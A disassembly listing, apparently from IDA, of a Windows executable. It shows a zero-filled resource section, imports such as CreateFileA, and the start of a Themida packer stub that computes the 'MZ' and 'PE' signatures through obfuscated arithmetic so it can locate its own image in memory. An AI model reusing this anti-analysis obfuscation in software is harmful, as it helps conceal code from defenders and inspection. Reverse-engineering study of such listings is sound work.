		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Οe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 00109000 (1085440.)
; Section size in file		: 00109000 (1085440.)
; Offset to raw	data for section: 00115000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 515000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0F5436A0Eh, 40CB7h, 5F836h, 15A172h,	0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
		inc	eax


loc_515041:				; CODE XREF: Themida_:0051502Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: Themida_:00515072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: Themida_:00515059j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: Themida_:0051506Bj
		mov	edi, eax


